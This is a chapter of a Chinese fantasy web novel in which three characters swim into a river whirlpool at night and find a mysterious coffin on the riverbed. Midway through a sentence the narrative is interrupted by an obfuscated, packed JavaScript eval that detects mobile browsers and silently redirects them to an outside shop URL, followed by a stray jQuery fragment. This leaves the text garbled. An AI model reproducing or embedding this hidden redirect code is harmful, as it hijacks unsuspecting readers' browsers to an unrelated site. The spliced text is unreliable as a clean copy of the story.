要是她是在路上走到一半碰见的叶月夜,那还可以找借口说自己才刚下班,正准备回家什么的。
但估计叶月夜是亲眼看着她翻墙落地的,事到如今也没有办法撒谎逃避受罚了。
要怪就怪她运气不好吧!还要怪叶月夜运气太好,怎么就刚好站在这里呢?
于是她只能实话实说,把自己即将和煌下河找药材的事全部托盘而出了。
叶月夜原本板着的脸变得更黑了:“和煌一起,就你们两个人?”
和歌玲点点头:“嗯嗯,原本雷洛也说一起去,但突然觉得只是找个药材,没必要跟着去,所以就剩下我们俩了。”
“有什么事不能明天再做?”
和歌玲无奈道:“那也没办法啊,现在家里的小动物越来越多,都没地方堆了,叶月大人,你也不想你家被它们淹了吧?”
明明前几天还让她尽快把那些宠物处理了。
叶月夜抿了抿嘴:“我不是那个意思,我是让你在家里找块空地……”
话还没说完,就被和歌玲打断了:“我知道您不是那个意思,但这样也不是长久之计,总之趁这个机会早点解决最好。”
叶月夜有片刻的停顿,最后又重新拉下脸:“那他现在人呢?”
经他一提醒,和歌玲这才想起来最重要的事。
对哦,煌他人呢?
她伸长脖子左顾右盼,找了一圈后,发现附近除了她和叶月夜外,再无第三个人的身影。
“……”
煌这家伙,该不会把她大半夜叫出来吹冷风,自己却在屋子里睡着了吧?!
如果真是这样,那她绝对不会饶过他。
眼见叶月夜的表情发生了微妙的变化,似乎在嘲笑她的愚钝,和歌玲觉得更尴尬了,然而越尴尬她就是越生气,最后甚至恼羞成怒。
就在她想着见到煌之后该如何把他暴揍一顿时,身后三米开外的草丛里突然冒出来一个人头,幽幽地来了一句:“和歌,是我,我在这……”
今天吓人的事还真是一件接着一件,和歌玲听到声音的那一刻,“嗖”的一下蹿到了叶月夜身后,没想到煌看到她这般反应,吓得比她还重,“哇”的一声重新钻回了草丛里。
叶月夜:“……”
和歌玲:“……”
煌:“……QAQ”
一个精神萎靡的行尸走肉,和一个胆小如鼠的爱哭鬼,他们这幅模样,任谁看了都很难就这样放他们下河。
叶月夜拧眉盯着他们看了会儿,斩钉截铁道:“我和你们一起去,先站这里等我回来。”
说完就往大门的方向走了,看样子估计是要回屋里拿点什么东西。
和歌玲气冲冲地走向草丛,抓小鸡似的将煌从里面揪了出来:“我说你躲在这里做什么?来了就要说一声啊!”
煌捂着头,看起来好不可怜:“我早就在这里了,可是叶月大人一直站在那里盯着墙看,一动不动的,看起来像被夺舍了,我觉得太可怕了就不敢出来……”
说什么可怕,明明煌躲在暗中观察的行为更吓人,和歌玲觉得好笑,想也没想就往他脑门上轻拍了一巴掌:“说什么呢,人判官大人哪有那么闲盯着一堵墙发呆,估计是下班刚好路过,听见院子里有声音以为遭贼了。”
“可是下班不应该从那一边过来吗……”
“好了好了,总之以后不要躲在那种地方,太危险了。”
煌还想说些什么,刚张开嘴就看见和歌玲身后的人,于是又悻悻闭上了嘴。
叶月夜来了以后,时间已然过了三点半,几个人一刻不停地直奔黄泉路。
有了上次的经验之后,和歌玲现在也敢无装备下水了,由于夜晚的缘故,河底比之前见到的还要更加昏暗,可见度大大降低。
如果不是煌整日混迹于河底,和歌玲和叶月夜估计只能盲人摸象般瞎游,于是三个人只能以煌为首,一前两后地跟着他游。
庆幸的是,经过她上次和雷洛的合力净化,黄泉水下的生态变得好了许多,至少一路下来,他们都没再看到什么黑炭异种鱼。
只是越往深处游,和歌玲就越是觉得不对劲。
从他们身边掠过的石块变得多了起来,好几次都险些砸到她的脑门,还有些不知名的水草杂物也随着水流往同一个地方疾速涌去。
和歌玲忍不住在心里想:这条河的流速有那么快过吗?平时明明划个船都费劲巴拉的,今天怎么一副恨不得把人卷走的架势。
她下意识扭头去看身旁的叶月夜,发现一贯面目表情的叶月夜此时神情也有点凝重,一个不祥的念头在她心底升了起来。
激涌的水流还在推着他们往前走,那些轻飘飘的杂物被冲走就算了,可现在就连他们几个能自主控制方向的大活人都不受控制地被吸走。
这么强大的吸引力,不可能是正常现象。
除非他们正在往河底漩涡的中心游去,否则没有别的理由解释得通了。
和歌玲赶忙拉住游在前面的煌,指了指漩涡的方向,又在他的手心写下两个——危险。
煌和他们不一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889877|207839||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
即便不用开口,也能在水中将声音传递到他们的耳朵里,准确来说,是脑子里。
于是当煌冲她露出一个“安心”的笑容时,和歌玲脑子里同时出现了一道清晰的声音:“没事的,那个地方我以前经常去,不会有危险的。”
既然他都这样说了,和歌玲也只好将信将疑地跟着继续游,裹挟着他们往前走的水波越来越强劲,她在心里估摸着已经到了漩涡的外围,下一秒巨大的吸力就将她卷进无尽的黑暗中。
混乱中有什么人抓住了她的手,企图把她从漩涡中心拉出来,结果就是反被她带着一起在洪流中沉浮,又即刻在混乱中分开。
这种感觉和被放入滚筒洗衣机滚上几圈无异,颠得五脏六腑全部乱作一团,甚至胃部还有一种怪异的悬空感。
和歌玲脸色铁青,几欲呕吐,但她知道此刻自己什么也吐不出来,而漩涡也并没有一直打转着闹她玩,而是把她传送到一个陌生的地方,然后一把抛了出去。
好不容易从漩涡中逃出,脑子还浑浑噩噩的,就要面临自由落体,连喘口气的时间都没有,真是好不忙碌。
以这个冲击力飞出去,等落地时,她应该会变成一张黏在地上的面饼吧?
飞了没一半,她突然被人半路截胡了,但眼前的景物天旋地转,她只能感觉到自己被横腰抱着,却不知对方是谁,于是便伸手在对方身上乱摸一通,在摸到对方紧实的后背和柔顺的长发时,才稍稍放下心来。
虽然不太懂叶月夜为何突然冲过来接住自己,但她好歹不用变成面饼了,心里真是万般感激。
眼压过高带来的短暂失明在落地后慢慢得到缓解,本来还在尴尬该怎么从叶月夜怀中下来,结果低头一看,眼前的东西让她直接忘了这茬。
重重水波中,一具精雕细缕的黑木棺材深陷在河底的淤泥里,棺身上布满白漆字画,看起来像是某个氏族部落的图腾,棺盖与棺身间掀开一条虚掩的缝,里面黑洞洞的,散发着一股不安的气息。
和歌玲忍不住打了个冷颤,环着叶月夜脖子的手臂紧了紧,企图以此找到一点安全感。
而叶月夜只是低头了她一眼,既没有说什么,也没有放她下来的意思。
总之无论如何,这口棺材都绝非寻常凡物,周围笼罩的严密死气在提醒着他们不要靠近。
怎么回事?煌不是说这里很安全吗?
似乎是感受到她复杂的目光,煌绕着棺椁愉悦地游了几圈,像盘踞在棺材上的小白龙:“这就是我炼丹的地方啦,药材都是在这个盒子里面找到的。”